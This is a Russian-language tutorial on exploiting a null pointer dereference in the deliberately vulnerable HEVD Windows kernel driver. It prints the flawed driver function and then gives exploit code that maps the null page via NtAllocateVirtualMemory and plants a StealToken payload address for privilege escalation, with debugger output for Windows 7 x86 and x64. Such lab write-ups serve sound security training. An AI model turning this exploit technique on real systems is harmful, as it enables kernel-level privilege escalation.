Кучи представляют собой динамически выделяемые области памяти в отличие от стека, размер которого фиксирован.
Автор: Mohamed Shahat
Код эксплоита находится здесь.
Кучи (пулы) в режиме ядра
Кучи представляют собой динамически выделяемые области памяти в отличие от стека, размер которого фиксирован.
Кучи, размещаемые для компонентов в режиме ядра, называются пулами и делятся на два основных типа:
Выделение такой памяти выполняется через процедуру ExAllocatePoolWithTag с указанием типа пула (параметр poolType) и 4-байтового «тега».
Для мониторинга выделений пулов можно пользоваться утилитой poolmon.
Если вы хотите поглубже вникнуть в тему, связанную с пулами, рекомендую ознакомиться со статьей «Pushing the Limits of Windows: Paged and Nonpaged Pool» (и всеми остальными частями из данной серии тоже).
Суть уязвимости
Код находится здесь.
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)__alignof(NULL_POINTER_DEREFERENCE));
// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
ExAllocatePoolWithTag(NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG);
if (!NullPointerDereference) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
}
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
// Validate the magic value
if (UserValue == MagicValue) {
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else {
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
}
#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
if (NullPointerDereference) {
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
NullPointerDereference->Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
Невытесняемая память пула выделяется равной размеру структуры NULL_POINTER_DEREFERENCE вместе с 4-байтовым тегом kcaH. Структура содержит два поля:
typedef struct _NULL_POINTER_DEREFERENCE {
ULONG Value;
FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;
В системах x86 структура занимает 8 байт и содержит указатель функции. Если пользовательский буфер содержит MagicValue, указатель функции NullPointerDereference->Callback будет указывать на функцию NullPointerDereferenceObjectCallback. Но что произойдет, если мы не будет передавать это значение?
В этом случае память пула освобождается и структуре NullPointerDereference присваивается значение NULL, чтобы избежать повисшего указателя. Однако этот трюк допустим только, если присутствует проверка, которую нужно делать каждый раз, когда вы используете данный указатель. Если просто установить значение NULL и не выполнять никаких проверок, то, как будет показано дальше, последствия могут быть печальны. В нашем случае функция Callback вызывается без проверки на предмет нахождения внутри корректной структуры. В итоге все заканчивается чтением с пустой страницы (первых 64 Кбайт), которая находится в пространстве пользователя.
То есть NullPointerDereference представляет собой структуру по адресу 0x00000000, и NullPointerDereference->Callback() вызывает то, что находится по адресу 0x00000004.
Схема эксплуатации данной фитчи выглядит следующим образом:
Краткая история защит от уязвимостей, связанных с разыменованием пустой страницы
Прежде чем продолжить, рассмотрим, что уже предпринималось разработчиками Windows для предотвращения атак с использованием уязвимостей, связанных с разыменованием пустого указателя.
То есть в Windows 10 эту уязвимость эксплуатировать не получится. Если хотите попробовать, нужно включить NTVDM, после чего потребуется обход SMEP (см. четвертую часть).
Статьи, рекомендованные для изучения:
Выделение пустой страницы
Перед началом взаимодействия с драйвером нам нужно выделить пустую страницу и разместить адрес полезной нагрузки по адресу 0x4. Выделить пустую страницу через VirtualAllocEx не получится. Альтернативный вариант: нахождение адреса функции NtAllocateVirtualMemory в ntdll.dll и передача небольшого ненулевого базового адреса, который будет округлен до значения NULL.
Чтобы найти адрес вышеуказанной функции, вначале мы будем использовать GetModuleHandle для получения адреса ntdll.dll, а затем GetProcAddress для получения адреса процесса.
typedef NTSTATUS(WINAPI *ptrNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
ptrNtAllocateVirtualMemory NtAllocateVirtualMemory = (ptrNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[-] Failed to export NtAllocateVirtualMemory.");
exit(-1);
}
Затем нужно выделить пустую страницу:
// Copied and modified from http://www.rohitab.com/discuss/topic/34884-c-small-hax-to-avoid-crashing-ur-prog/
LPVOID baseAddress = (LPVOID)0x1;
ULONG allocSize = 0x1000;
char* uBuffer = (char*)NtAllocateVirtualMemory(
GetCurrentProcess(),
&baseAddress, // Putting a small non-zero value gets rounded down to page granularity, pointing to the NULL page
0,
&allocSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
Чтобы проверить работоспособность метода, размещаем функцию DebugBreak и проверяем содержимое памяти после записи какого-либо значения.
DebugBreak();
*(INT_PTR*)uBuffer = 0xaabbccdd;
kd> t
KERNELBASE!DebugBreak+0x3:
001b:7531492f ret
kd> ? @esi
Evaluate expression: 0 = 00000000
kd> t
HEVD!main+0x1a4:
001b:002e11e4 mov dword ptr [esi],0AABBCCDDh
kd> t
HEVD!main+0x1aa:
001b:002e11ea movsx ecx,byte ptr [esi]
kd> dd 0
00000000 aabbccdd 00000000 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00000000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000
Прекрасный способ проверить, выделена ли пустая страница – вызывать VirtualProtect, которая запрашивает/устанавливает защитные флаги на страницы памяти. Если функция VirtualProtect возвращает false, значит, пустая страница не выделена.
Контроль потока выполнения
Теперь нам нужно разместить адрес полезной нагрузки по адресу 0x00000004:
*(INT_PTR*)(uBuffer + 4) = (INT_PTR)&StealToken;
Создаем буфер для отсылки драйверу и устанавливаем точку останова по адресу HEVD!TriggerNullPointerDereference + 0x114.
kd> dd 0
00000000 00000000 0107129c 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00000000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000
После запуска полезной нагрузки и кражи токена инструкция ret выполняется, и корректировка стека не требуется.
Рисунок 1: Демонстрация работы эксплоита
Портирование эксплоита для Windows 7 x64
Чтобы эксплоит заработал в системе Windows 7 x64 нужно поменять смещение, по которому будет записываться адрес полезной нагрузки, поскольку размер структуры становится 16 байт. Кроме того, не забудьте выгрузить полезную нагрузку.
*(INT_PTR*)(uBuffer + 8) = (INT_PTR)&StealToken;